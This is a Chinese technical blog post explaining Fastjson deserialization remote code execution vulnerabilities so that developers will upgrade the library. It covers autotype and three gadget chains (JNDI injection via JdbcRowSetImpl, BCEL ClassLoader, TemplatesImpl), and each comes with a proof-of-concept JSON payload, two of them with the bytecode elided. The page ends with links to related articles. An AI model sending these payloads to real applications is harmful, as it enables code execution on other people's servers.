Fastjson反序列化漏洞概述
Fastjson反序列化漏洞利用分析
背景
在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东西。
漏洞原理
多个版本的Fastjson组件在反序列化不可信数据时会导致代码执行。究其原因,首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
那么不开启autotype功能就安全了吗?
不是的,在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过,绕过细节可参考(https://www.anquanke.com/post/id/181874),代码验证逻辑的问题,不再赘述。
利用方式
那么Fastjson反序列化不可信数据时是如何导致代码执行的呢?这就是漏洞原理一节中所说的可被恶意利用的逻辑,目前公开的、攻击者使用广泛的Gadget无外乎有这么几种,下面会具体解释下指定setter或getter方法中可被恶意利用的代码逻辑:
基于JNDI注入
JNDI即Java Naming and Directory Interface,Java命名和目录接口,JNDI提供了很多实现方式,主要有RMI,LDAP,CORBA等。JNDI提供了一个统一的外部接口,底层服务实现是多样的。
以RMI为例,RMI Registry有Name到对象的映射关系,应用通过java.rmi.naming#lookup方法向Registry发出查询请求,得到映射关系,再连接RMI Server实现远程方法调用。
如果说其lookup方法的参数是我们可以控制的,可以将其参数指向我们控制的Registry,那我们可以在Registry绑定一个指向远程类的Reference对象(当对象为Reference类型的时候,应用会加载远程类并实例化),远程类的静态代码块及构造方法均可控,从而导致任意代码执行。
下面以com.sun.rowset.JdbcRowSetImpl类为例具体解释下,
基于类com.sun.rowset.JdbcRowSetImpl的POC如下:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1097/Object",
"autoCommit":true
}
Fastjson在反序列化的时候,会使用asm来构造对象,然后调用对象的setter方法。在解析上述json字符串时,首先构造JdbcRowSetImpl对象,然后调用setDataSourceName方法和setAutoCommit方法为对象赋值,在调用setAutoCommit方法时,会通过connect方法调用lookup方法向Registry发出查询请求,而Registry的地址正是dataSourceName的值,这就导致了lookup方法参数可控,进而我们可以通过自定义Registry实现进一步漏洞利用。
connect方法代码:
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
类似的,除com.sun.rowset.JdbcRowSetImpl外,还有org.springframework.jndi.support.SimpleJndiBeanFactory、com.mchange.v2.c3p0.JndiRefForwardingDataSource、org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、org.hibernate.jmx.StatisticsService等等都可以成为“Gadget”中的一环,基于JNDI注入实现代码执行。Java类库何其多,JDK中的、第三方的,未来也一定会出现更多的可被恶意利用的类库。
值得一提的是,在高版本的JDK中做了对JNDI注入类攻击的防护,主要是通过限制远程类的加载实现,具体细节可以参考我的这篇文章https://www.cnblogs.com/Welk1n/p/11066397.html,其中有比较详细的防护原理以及某些条件下的防护绕过说明。
基于ClassLoader
POC如下:
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader" :
{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}
首先看一下com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器的加载机制,java、javax和sun这三个包下的类会通过系统类加载器进行加载,然后当遇到一些特殊的类名,class_name以$$BCEL$$开头的类,会调用createClass方法去解析class_name,在createClass方法中会将$$BCEL$$之后的字符解码成字节数组,并将这个BCEL编码后的类加载到虚拟机中。换言之,我们可以构造className为一个特殊的字符串时,通过这个类加载器来实现对自定义类的加载。
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
那么,当Fastjson反序列化org.apache.tomcat.dbcp.dbcp.BasicDataSource对象时,首先通过setter方法设置其driverClassLoader和driverClassName属性,然后会调用其getConnection方法,又最终调用了createConnectionFactory方法,其通过Class.forName方法用driverClassLoader加载driverClassName,并设置是否初始化参数为true。forName方法实际最终调用了C实现的Native类型的方法,分析C源码可知,其底层的加载逻辑仍是调用类加载器的loadClass方法加载自定义类,有兴趣的朋友可以自己去分析下JVM层面的实现,这儿不再展开,了解即可。
driverClassLoader和driverClassName都是json传入,外部可控,那么若将driverClassLoader设置为com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName设置为经BCEL编码后的自定义类,那么就实现了在反序列化时加载自定义类的目的。于是攻击者可以在static代码块中编写恶意代码,将其进行BCEL编码,在类初始化时实现恶意代码执行。
基于TemplatesImpl
POC如下:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],
'_name':'a.b',
'_tfactory':{ },
"_outputProperties":{ }
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类有个比较特殊的能力,可以解析然后加载实例化_bytecodes变量中的字符数组,_bytecodes的值是可控的,所以攻击者只要构造恶意类对应的字符数组,然后通过getOutputProperties方法触发恶意类的加载及实例化,同样实现了远程代码执行的效果。
一些具体的细节可以参考这两篇文章:
- [http://xxlegend.com/2017/05/03/title- fastjson 远程反序列化poc的构造和分析/](http://xxlegend.com/2017/05/03/title- fastjson 远程反序列化poc的构造和分析/)
- https://paper.seebug.org/636/
不过此种利用方式需要在解析json串时设置Feature.SupportNonPublicField,而业务同学在使用fastjson时往往会直接按照默认参数调用parseObject方法,所以略为鸡肋。
建议
可以看到上面几种Gadget都能用来攻击使用Fastjson的应用,实现代码执行,相对来说第一种方式杀伤力更强一些。所以还请务必将组件升级到最新版本,来避免攻击者对此漏洞的攻击。
Fastjson反序列化漏洞概述的更多相关文章
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- fastjson反序列化漏洞研究(上)
前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...
- fastjson反序列化漏洞实际案例利用
fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...
- Fastjson反序列化漏洞复现
Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...
- Fastjson反序列化漏洞基础
Fastjson反序列化漏洞基础 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象. 0x0 ...
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- .NET高级代码审计(第三课)Fastjson反序列化漏洞
0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...
- FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...
- fastjson反序列化漏洞研究(下)
之前的文章显示字符太多 拒绝显示 只好分为两篇了 这样我们只需要找到可以利用的类,构造poc链就好了,这个和以前的java反序列化漏洞类似,先不说.网上最早的poc是使用com.sun.org.ap ...
随机推荐
- UPC Contest RankList – 2019年第二阶段我要变强个人训练赛第十六场
E: 飞碟解除器 •题目描述 wjyyy在玩跑跑卡丁车的时候,获得了一个飞碟解除器,这样他就可以免受飞碟的减速干扰了.飞碟解除器每秒末都会攻击一次飞碟,但每次只有p/q的概率成功攻击飞碟.当飞碟被成功 ...
- Java 字符串分隔 split
Java中的我们可以利用 split 方法(Java.lang.string.split)把字符串按照指定的分割符进行分割,然后返回字符串数组,下面是string.split的用法实例及注意事项. s ...
- DES、3DES、AES、PBE对称加密算法实现及应用
1.对称加密算法概述 对称加密算法是应用较早的加密算法,技术成熟.在对称加密算法中,数据发信方将明文和加密密钥一起经过特殊加密算法处理后,使其变成复杂的加密密文发送出去.收信方收到密文后,若想解读原文 ...
- Spring JdbcTemplate之使用详解
最近在项目中使用到了 Spring 的 JdbcTemplate, 中间遇到了好多坑, 所以花一些时间对 JdbcTemplate 的使用做了一个总结, 方便以后自己的查看.文章中贴出来的API都是经 ...
- 最全面的改造Zuul网关为Spring Cloud Gateway(包含Zuul核心实现和Spring Cloud Gateway核心实现)
前言: 最近开发了Zuul网关的实现和Spring Cloud Gateway实现,对比Spring Cloud Gateway发现后者性能好支持场景也丰富.在高并发或者复杂的分布式下,后者限流和自定 ...
- HackBar收费版绕过
一段时间没用HackBar,近期做渗透,打开火狐浏览器,按F12键调出HackBar,发现居然需要收费买license才能使用. 经过研究,整理了以下两个绕过HackBar收费版的方法. 第一种:用其 ...
- kube-proxy源码分析
kubernetes离线安装包,仅需三步 kube-proxy源码解析 ipvs相对于iptables模式具备较高的性能与稳定性, 本文讲以此模式的源码解析为主,如果想去了解iptables模式的原理 ...
- ASP.NET Web项目发布选项:“允许更新此预编译站点” 详解
目录 #使用visual studio 发布web项目 #"允许更新此预编译站点" 选项的意义 1.选中 "允许更新此预编译站点" 2.不选中 "允许 ...
- Java模拟并解决缓存穿透
什么叫做缓存穿透 缓存穿透只会发生在高并发的时候,就是当有10000个并发进行查询数据的时候,我们一般都会先去redis里面查询进行数据,但是如果redis里面没有这个数据的时候,那么这10000个并 ...
- 初识代理——Proxy
无处不在的模式——Proxy 最近在看<设计模式之禅>,看到代理模式这一章的时候,发现自己在写spring项目的时候其实很多时候都用到了代理,无论是依赖注入.AOP还是其他,可以说是无处不 ...